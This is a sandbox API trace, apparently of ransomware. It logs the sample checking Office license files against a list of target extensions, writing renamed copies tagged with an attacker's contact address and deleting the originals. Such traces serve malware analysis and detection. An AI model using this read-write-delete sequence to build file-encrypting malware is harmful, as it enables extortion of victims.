	[0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.908] lstrlenW (lpString=".jpg") returned 4
	[0193.908] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.908] lstrlenW (lpString=".doc") returned 4
	[0193.908] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.908] lstrlenW (lpString=".docx") returned 5
	[0193.908] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.908] lstrlenW (lpString=".pdf") returned 4
	[0193.908] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.908] lstrlenW (lpString=".xls") returned 4
	[0193.909] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString=".xlsx") returned 5
	[0193.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.909] lstrlenW (lpString=".ppt") returned 4
	[0193.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.909] lstrlenW (lpString=".zip") returned 4
	[0193.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString=".rar") returned 4
	[0193.909] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString=".bz2") returned 4
	[0193.909] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString=".7z") returned 3
	[0193.909] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.909] lstrlenW (lpString=".dbf") returned 4
	[0193.909] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.909] lstrlenW (lpString=".1cd") returned 4
	[0193.909] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.909] lstrlenW (lpString=".jpg") returned 4
	[0193.909] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.909] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.909] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37
	[0193.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.910] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=21977) returned 1
	[0193.910] CloseHandle (hObject=0x5ac) returned 1
	[0193.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0193.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0194.263] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.263] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0194.264] GetLastError () returned 0x0
	[0194.264] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x55d9, lpOverlapped=0x0) returned 1
	[0194.267] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x55e0, lpOverlapped=0x0) returned 1
	[0194.268] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.268] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.269] SetEndOfFile (hFile=0x5b0) returned 1
	[0194.269] CloseHandle (hObject=0x5b0) returned 1
	[0194.269] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.269] SetEndOfFile (hFile=0x368) returned 1
	[0194.272] CloseHandle (hObject=0x368) returned 1
	[0194.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1
	[0194.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.274] lstrlenW (lpString=".doc") returned 4
	[0194.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".docx") returned 5
	[0194.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.274] lstrlenW (lpString=".pdf") returned 4
	[0194.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".xls") returned 4
	[0194.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".xlsx") returned 5
	[0194.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.274] lstrlenW (lpString=".ppt") returned 4
	[0194.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.274] lstrlenW (lpString=".zip") returned 4
	[0194.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".rar") returned 4
	[0194.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".bz2") returned 4
	[0194.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.274] lstrlenW (lpString=".7z") returned 3
	[0194.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString=".dbf") returned 4
	[0194.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString=".1cd") returned 4
	[0194.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString=".jpg") returned 4
	[0194.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString=".doc") returned 4
	[0194.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString=".docx") returned 5
	[0194.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.275] lstrlenW (lpString=".pdf") returned 4
	[0194.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString=".xls") returned 4
	[0194.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString=".xlsx") returned 5
	[0194.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.275] lstrlenW (lpString=".ppt") returned 4
	[0194.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.275] lstrlenW (lpString=".zip") returned 4
	[0194.275] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.276] lstrlenW (lpString=".rar") returned 4
	[0194.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.276] lstrlenW (lpString=".bz2") returned 4
	[0194.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.276] lstrlenW (lpString=".7z") returned 3
	[0194.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.276] lstrlenW (lpString=".dbf") returned 4
	[0194.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.276] lstrlenW (lpString=".1cd") returned 4
	[0194.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0194.276] lstrlenW (lpString=".jpg") returned 4
	[0194.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.276] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.276] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36
	[0194.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0194.278] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19962) returned 1
	[0194.278] CloseHandle (hObject=0x368) returned 1
	[0194.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0194.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0194.279] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.279] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0194.280] GetLastError () returned 0x0
	[0194.280] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dfa, lpOverlapped=0x0) returned 1
	[0194.282] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0194.283] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.284] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0194.284] SetEndOfFile (hFile=0x5b0) returned 1
	[0194.284] CloseHandle (hObject=0x5b0) returned 1
	[0194.284] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.284] SetEndOfFile (hFile=0x368) returned 1
	[0194.287] CloseHandle (hObject=0x368) returned 1
	[0194.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0194.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.293] lstrlenW (lpString=".doc") returned 4
	[0194.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.293] lstrlenW (lpString=".docx") returned 5
	[0194.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.293] lstrlenW (lpString=".pdf") returned 4
	[0194.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.293] lstrlenW (lpString=".xls") returned 4
	[0194.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.293] lstrlenW (lpString=".xlsx") returned 5
	[0194.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.293] lstrlenW (lpString=".ppt") returned 4
	[0194.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString=".zip") returned 4
	[0194.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".rar") returned 4
	[0194.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".bz2") returned 4
	[0194.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".7z") returned 3
	[0194.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString=".dbf") returned 4
	[0194.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString=".1cd") returned 4
	[0194.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString=".jpg") returned 4
	[0194.294] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.294] lstrlenW (lpString=".doc") returned 4
	[0194.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".docx") returned 5
	[0194.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.294] lstrlenW (lpString=".pdf") returned 4
	[0194.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".xls") returned 4
	[0194.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.294] lstrlenW (lpString=".xlsx") returned 5
	[0194.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.295] lstrlenW (lpString=".ppt") returned 4
	[0194.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.295] lstrlenW (lpString=".zip") returned 4
	[0194.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString=".rar") returned 4
	[0194.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString=".bz2") returned 4
	[0194.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString=".7z") returned 3
	[0194.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.295] lstrlenW (lpString=".dbf") returned 4
	[0194.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.295] lstrlenW (lpString=".1cd") returned 4
	[0194.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0194.295] lstrlenW (lpString=".jpg") returned 4
	[0194.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.295] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33
	[0194.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0194.296] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10667) returned 1
	[0194.296] CloseHandle (hObject=0x368) returned 1
	[0194.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220
	[0194.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0194.297] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.297] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0194.592] GetLastError () returned 0x0
	[0194.602] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0194.625] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0194.626] ReadFile (in: hFile=0x368, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.626] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0194.627] SetEndOfFile (hFile=0x5b0) returned 1
	[0194.627] CloseHandle (hObject=0x5b0) returned 1
	[0194.627] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.627] SetEndOfFile (hFile=0x368) returned 1
	[0194.631] CloseHandle (hObject=0x368) returned 1
	[0194.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1
	[0194.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0194.633] lstrlenW (lpString=".doc") returned 4
	[0194.633] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.633] lstrlenW (lpString=".docx") returned 5
